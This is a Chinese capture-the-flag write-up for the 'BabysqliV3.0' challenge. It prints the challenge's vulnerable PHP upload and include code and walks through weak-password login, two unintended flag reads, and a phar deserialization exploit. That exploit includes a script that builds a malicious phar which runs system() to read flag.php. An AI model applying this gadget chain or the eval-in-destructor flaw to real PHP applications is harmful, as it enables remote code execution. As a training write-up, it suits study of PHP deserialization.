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[BabysqliV3.0]phar反序列化

开始以为是sql注入

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账号为：admin，一直试都没反应，后来发现可以弱口令，密码：password

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一个文件上传页面：

在file参数存在文件包含：

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home.php

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){if(isset($_GET['file'])){if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){die("hacker!");}else{if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){$file = $_GET['file'].".php";}else{$file = $_GET['file'].".fxxkyou!";}echo "当前引用的是 ".$file;require $file;}}else{die("no permission!");}
}
?>

upload.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><form action="" method="post" enctype="multipart/form-data">上传文件<input type="file" name="file" /><input type="submit" name="submit" value="上传" />
</form><?php
error_reporting(0);
class Uploader{public $Filename;public $cmd;public $token;function __construct(){$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";$ext = ".txt";@mkdir($sandbox, 0777, true);if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){$this->Filename = $_GET['name'];}else{$this->Filename = $sandbox.$_SESSION['user'].$ext;}$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";$this->token = $_SESSION['user'];}function upload($file){global $sandbox;global $ext;if(preg_match("[^a-z0-9]", $this->Filename)){$this->cmd = "die('illegal filename!');";}else{if($file['size'] > 1024){$this->cmd = "die('you are too big (′▽`〃)');";}else{$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";}}}function __toString(){global $sandbox;global $ext;// return $sandbox.$this->Filename.$ext;return $this->Filename;}function __destruct(){if($this->token != $_SESSION['user']){$this->cmd = "die('check token falied!');";}eval($this->cmd);}
}if(isset($_FILES['file'])) {$uploader = new Uploader();$uploader->upload($_FILES["file"]);if(@file_get_contents($uploader)){echo "下面是你上传的文件：<br>".$uploader."<br>";echo file_get_contents($uploader);}
}?>

这题有两个非预期解：

if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){$this->Filename = $_GET['name'];}if(@file_get_contents($uploader)){echo "下面是你上传的文件：<br>".$uploader."<br>";echo file_get_contents($uploader);
}	

我们可以控制文件名的参数，并且获取文件名的文件内容

非预期解1：

我们直接读flag.php:

非预期解2：

我们可以直接上传一个shell：

预期解：

phar反序列化

难点主要是需要绕过：token

function __destruct(){if($this->token != $_SESSION['user']){$this->cmd = "die('check token falied!');";}eval($this->cmd);}

但是如果上次文件不加name参数，会讲session写入文件名：

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随便上传一个文件，获取token

构造phar文件：

<?phpclass Uploader{public $Filename;public $cmd = "system('tac /var/www/html/flag.php');";public $token = "GXY2088cabe1723182d413a31dd560b1766";
}@unlink("phar.phar");  //先删除存在的phar.phar$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub('<?php __HALT_COMPILER(); ?>'); //设置stub$o = new Uploader();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();

我们将phar文件上传上去：

然后在文件名中包含phar://，配合file_get_contents()就会将phar反序列化，获得flag